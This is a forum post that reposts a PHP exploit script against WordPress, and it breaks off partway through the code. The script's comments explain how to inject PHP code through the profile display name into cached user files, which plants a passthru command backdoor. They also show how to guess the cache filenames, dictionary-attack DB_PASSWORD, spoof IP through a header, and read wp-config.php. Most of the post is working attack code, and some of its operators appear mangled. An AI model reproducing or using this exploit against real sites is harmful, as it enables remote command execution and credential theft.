| SmokeyTheBear |
05-26-2006 10:49 PM |
heres how they do it
Code:
#!/usr/bin/php -q -d short_open_tag=on
<?
if ($argc<6) {
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS \r\n";
echo "host: target server (ip/hostname) \r\n";
echo "path: path to WordPress \r\n";
echo "cmd: a shell command \r\n";
echo "user/pass: you need a valid user account \r\n";
echo "Options: \r\n";
echo " -D[dicrionary] specify a textfile and try dictionary attack \r\n";
echo " -p[port]: \" a port other than 80 \r\n";
echo " -P[ip:port]: \" a proxy \r\n";
echo "Examples: \r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password ls -la -Ddic.txt\r\n";
echo "php ".$argv[0]." localhost /wordpress/ your_username password cat ./../../../wp-config.php -p81\r\n";
echo "php ".$argv[0]." localhost / your_username password ls -la -P1.1.1.1:80\r\n\r\n";
die;
}
/* explaination:
i) wordpress stores some user informations inside cached files
in wp-content/cache/userlogins/ and wp-content/cache/users/ folders, they are
php files.
Normally they look like this:
<?php
//O:8:"stdClass":23:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:18:"[email protected]";s:8:"user_url";s:0:"";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:6:"suntzu";s:10:"first_name";s:0:"";s:9:"last_name";s:0:"";s:8:"nickname";s:6:"suntzu";s:11:"description";s:0:"";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:14:"user_firstname";s:0:"";s:13:"user_lastname";s:0:"";s:16:"user_description";s:0:"";}
?>
but...what happens if you inject a carriage return ( chr(13)...), some php code and some
escape chars when you update your profile (ex. in "displayname" argument)?
Look at this file now:
<?php
//O:8:"stdClass":24:{s:2:"ID";s:3:"106";s:10:"user_login";s:6:"suntzu";s:9:"user_pass";s:32:"a2b0f31cd94e749b58307775462e2e4b";s:13:"user_nicename";s:6:"suntzu";s:10:"user_email";s:17:"[email protected]";s:8:"user_url";s:7:"http://";s:15:"user_registered";s:19:"2006-05-24 23:00:42";s:19:"user_activation_key";s:0:"";s:11:"user_status";s:1:"0";s:12:"display_name";s:185:"suntzu
error_reporting(0);set_time_limit(0);if (get_magic_quotes_gpc()){$_REQUEST[cmd]=stripslashes($_REQUEST[cmd]);}echo 56789;passthru($_REQUEST[cmd]);echo 56789;//suntzuuuuuuuuuuuuuu";s:10:"first_name";s:6:"suntzu";s:9:"last_name";s:6:"suntzu";s:8:"nickname";s:6:"suntzu";s:11:"description";s:6:"whoami";s:6:"jabber";s:0:"";s:3:"aim";s:0:"";s:3:"yim";s:0:"";s:15:"wp_capabilities";a:1:{s:10:"subscriber";b:1;}s:13:"wp_user_level";s:1:"0";s:10:"user_level";s:1:"0";s:12:"rich_editing";s:4:"true";s:14:"user_firstname";s:6:"suntzu";s:13:"user_lastname";s:6:"suntzu";s:16:"user_description";s:6:"whoami";}
?>
you have a backdoor on target server...
Now you have to search a way to guess filenames 'cause we have an
index.php to trivially protect folders, but... guess what?
give a look at wp-includes/cache.php at line 355:
...
$cache_file = $group_dir.md5($id.DB_PASSWORD).'.php';
...
$group_dir is the folder where files are stored
DB_PASSWORD costant could be empty, if so...
you have only to calculate the md5 hash of your user id, then:
http://[target]/[path]/wp-content/cache/users/[md5(user_id)].php?cmd=ls%20-la
the same with userlogins/ folder, this time:
http://[target]/[path]/wp-content/cache/userlogins/[md5(username)].php?cmd=ls%20-la
otherwise you can check if DB_PASSWORD is in a dictionary through the -D option,
this tool calculate the hash to do something like this:
http://[target]/[path]/wp-content/cache/users/[md5([user_id][db_pass])].php?cmd=ls%20-la
http://[target]/[path]/wp-content/cache/userloginss/[md5([username][db_pass])].php?cmd=ls%20-la
ii) an ip-spoofing issue in vars.php:
...
// On OS X Server, $_SERVER['REMOTE_ADDR'] is the server's address. Workaround this
// by using $_SERVER['HTTP_PC_REMOTE_ADDR'], which *is* the remote address.
if ( isset($_SERVER['HTTP_PC_REMOTE_ADDR']) )
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PC_REMOTE_ADDR'];
...
poc:
you can set an http header like this when you register:
PC_REMOTE_ADDR: 1.1.1.1
*/
error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);
function quick_dump($string)
{
$result='';$exa='';$cont=0;
for ($i=0; $i<=strlen($string)-1; $i++)
{
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
else
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))hahahaha2)
{$exa.=" ".dechex(ord($string[$i]));}
else
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($conthahahaha15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
}
return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxyhahahaha'') {
$ock=fsockopen(gethostbyname($host),$port);
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
}
}
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
}
$parts=explode(':',$proxy);
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
$ock=fsockopen($parts[0],$parts[1]);
if (!$ock) {
echo 'No response from proxy...';die;
}
}
fputs($ock,$packet);
if ($proxyhahahaha'') {
$html='';
while (!feof($ock)) {
$html.=fgets($ock);
}
}
else {
$html='';
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
$html.=fread($ock,1);
}
}
fclose($ock);
#debug
#echo "\r\n".$html;
}
$host=$argv[1];
$path=$argv[2];
$username=$argv[3];
$password=$argv[4];
$cmd="";
$port=80;
$proxy="";
$dict="";
for ($i=5; $i<=$argc-1; $i++){
$t=$argv[$i][0].$argv[$i][1];
if (($t<>"-p") and ($t<>"-P") and ($t<>"-D"))
{$cmd.=" ".$argv[$i];}
if ($thahahaha"-p")
{
$port=str_replace("-p","",$argv[$i]);
}
if ($thahahaha"-P")
{
$proxy=str_replace("-P","",$argv[$i]);
}
if ($thahahaha"-D")
{
$dict=str_replace("-D","",$argv[$i]);
}
}
$cmd=urlencode($cmd);
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxyhahahaha'') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
echo "step 0 -> check if suntzu.php is already installed...\r\n";
$check=array("users/suntzu.php",
"userlogins/suntzu.php"
);
|
